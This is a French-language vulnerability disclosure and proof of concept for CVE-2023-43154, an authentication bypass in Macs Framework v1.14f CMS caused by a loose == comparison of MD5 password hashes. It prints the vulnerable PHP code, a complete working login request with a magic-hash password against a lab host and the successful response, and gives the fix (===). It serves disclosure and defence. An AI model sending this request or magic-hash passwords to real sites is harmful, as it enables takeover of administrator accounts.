
PoC pour la vulnérabilité de confusion de types dans le CMS de Mac qui entraîne un contournement de l'authentification et une prise de contrôle du compte administrateur.
CVE-ID : CVE-2023-43154
CVSS 3.1 : 9.8
Description de la vulnérabilité : Une comparaison non stricte dans la fonction isValidLogin() entraîne une vulnérabilité de confusion de type PHP qui peut être exploitée pour contourner l'authentification et prendre le contrôle du compte administrateur.
Paramètres vulnérables : Le nom d'utilisateur et le mot de passe des utilisateurs sur le CMS.
Produits affectés : Macs Framework v1.14f - Système de gestion de contenu
Limites :
Interaction utilisateur requise : Aucune
Références : https://github.com/ally-petitt/CVE-2023-43154-PoC
Date de découverte : 7 septembre 2023
Signalé par : Ally Petitt
La connexion à l'URI /index.php/main/cms/login avec le nom d'utilisateur du compte victime et n'importe quel mot de passe produisant un hash magique mènera à un contournement de l'authentification.
Un exemple de connexion est présenté ci-dessous.
POST /index.php/main/cms/login HTTP/1.1
Host: 172.17.0.2
Content-Length: 62
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://172.17.0.2
Referer: http://172.17.0.2/index.php/main/cms/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=di4ceqcv9432vcb0p27rkh7k82
Connection: close
ajaxRequest=true&&username=testadmin&password=0gdVIdSQL8Cm&scrollPosition=0
HTTP/1.1 200 OK
Date: Sat, 09 Sep 2023 02:01:26 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 72
Connection: close
Content-Type: text/html; charset=ISO-8859-1
<script>window.location.href="http://172.17.0.2/index.php/home"</script>
Le code de statut 200 et la redirection vers /index.php/home indiquent tous deux que la tentative de connexion a réussi. Le mot de passe de testadmin n'était pas le mot de passe utilisé dans la tentative de connexion (0gdVIdSQL8Cm). Il avait en fait été défini sur QNKCDZO.
Lorsqu'un utilisateur tente de se connecter, son mot de passe fourni est haché et envoyé comme paramètre à la fonction isValidLogin() via la fonction initiale login() qui est appelée lorsqu'une requête POST est faite à /index.php/Main/CMS/login.
public function login()
{
if($this->isValidLogin(Post::getByKey('username'), $this->encrypt(Post::getByKey('password')) ) || ( $this->isAdminLoggedIn() ))
--snip--
}
La fonction isValidLogin() commence à la ligne 83 du fichier /Application/plugins/CMS/controllers/CMS.php. Elle est vulnérable à une confusion de type en raison de l'utilisation de 2 signes égaux au lieu de 3.
private function isValidLogin($username, $password)
{
$this->loadModels();
$loggedIn = false;
foreach (Config::$editInPlaceAdmins as $key=>$account)
{
if(( $account['username'] == $username) && ($account['password'] == $password ) )
{
$loggedIn = true;
Session::set('AdminLoggedIn', $account);
break;
}
}
Comme le montre l'instruction if, le nom d'utilisateur et le mot de passe sont vérifiés avec une comparaison non stricte, ce qui conduit à une vulnérabilité de confusion de type PHP. Cela peut être exploité lors d'une connexion avec un mot de passe qui produit un hash magique, c'est-à-dire un hash que PHP interprète comme ayant la valeur 0 lors d'une comparaison non stricte. Une liste de ces mots de passe peut être trouvée ici.
Pour exploiter cette vulnérabilité, il est important de comprendre d'abord le format dans lequel $account['password'] est stocké. Dans la fonction utilisée pour enregistrer un nouveau compte utilisateur à la ligne 730 du fichier CMS.php mentionné précédemment, il devient clair que le mot de passe est d'abord passé dans une fonction encrypt avant d'être stocké.
$password = $this->encrypt(Post::getByKey('password'));
$confirmPassword = $this->encrypt(Post::getByKey('confirmPassword'));
-- snip --
private function saveNewUser( $username, $password, $emailAddress, $roleId)
En poursuivant vers la fonction appelée après que le mot de passe a été traité par encrypt, le code suivant est utilisé :
private function saveNewUser( $username, $password, $emailAddress, $roleId)
{
--snip--
$this->usersModel->insertUser($username, $password, $emailAddress, $roleId);
--snip--
}
D'après le code ci-dessus, il est évident que le mot de passe « chiffré » a été placé directement dans le modèle users du framework MVC. Enfin, pour exploiter cette vulnérabilité, il est nécessaire de comprendre comment fonctionne la fonction encrypt, car sa sortie est directement comparée à l'entrée utilisateur.
private function encrypt( $string )
{
return md5($string);
}
La fonction encrypt retourne le hash MD5 de la chaîne qui lui est passée. Cela signifie que lorsque la fonction login() est appelée avec les identifiants fournis par l'utilisateur, le mot de passe saisi est haché et comparé au hash MD5 stocké du compte victime.
L'implication est que lorsqu'on utilise un mot de passe qui produit une collision PHP, ou un hash magique, celui-ci sera considéré comme équivalent lors de la comparaison avec un mot de passe stocké qui suit également le format d'un hash magique. Par conséquent, un très grand nombre de mots de passe peuvent être utilisés pour s'authentifier et prendre le contrôle du compte administrateur, même lorsque le mot de passe initial n'est pas connu au préalable.
Cette vulnérabilité peut être atténuée en remplaçant la comparaison non stricte dans la fonction isValidLogin() par une comparaison stricte, c'est-à-dire en remplaçant == par ===.